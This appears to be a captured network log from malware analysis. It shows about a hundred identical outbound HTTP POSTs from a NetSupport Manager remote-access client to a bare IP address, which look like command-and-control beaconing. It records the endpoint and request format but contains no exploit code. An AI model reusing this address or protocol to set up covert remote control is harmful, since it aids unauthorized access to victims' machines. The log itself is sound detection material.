Dec 6, 2023 14:35:41.562726021 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:41.662763119 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:41.762754917 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:41.964735985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:42.064816952 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:42.165745974 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:42.266726017 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:42.366745949 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:42.466741085 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:42.567714930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:42.667752981 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:42.767729998 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:42.868766069 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:42.969733953 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:43.069993019 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:43.170741081 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:43.270776987 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:43.371740103 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:43.471786976 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:43.572858095 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:43.672756910 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:43.773767948 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:43.873970985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:43.973735094 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:44.174786091 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:44.274728060 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:44.375900030 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:44.475840092 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:44.576864958 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:44.677858114 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:44.777734041 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:44.878137112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:44.978745937 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:45.079001904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:45.179740906 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:45.280755997 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:45.380768061 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:45.482151985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:45.581758022 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:45.682753086 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:45.782738924 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:45.882750988 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:45.983733892 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:46.083713055 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:46.183751106 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:46.283926010 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:46.384795904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:46.484735012 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:46.584836960 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:46.685748100 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:46.786751032 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:46.886781931 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:46.987037897 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:47.087734938 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:47.187922001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:47.288927078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:47.388742924 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:47.489737988 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:47.589751005 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:47.689806938 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:47.790746927 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:47.891726017 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:47.992036104 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:48.092710018 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:48.192764997 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:48.293761969 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:48.396030903 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:48.497771978 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:48.598807096 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:48.699055910 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:48.799927950 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:48.899723053 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:49.000730991 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:49.100725889 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:49.201771975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:49.302021027 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:49.402743101 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:49.502770901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:49.603782892 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:49.704736948 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:49.805718899 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:49.906724930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:50.006751060 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:50.106998920 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:50.207081079 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:50.307854891 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:50.408752918 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:50.509377003 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:50.610784054 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:50.710717916 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:50.811882019 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:50.911712885 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:51.012737989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
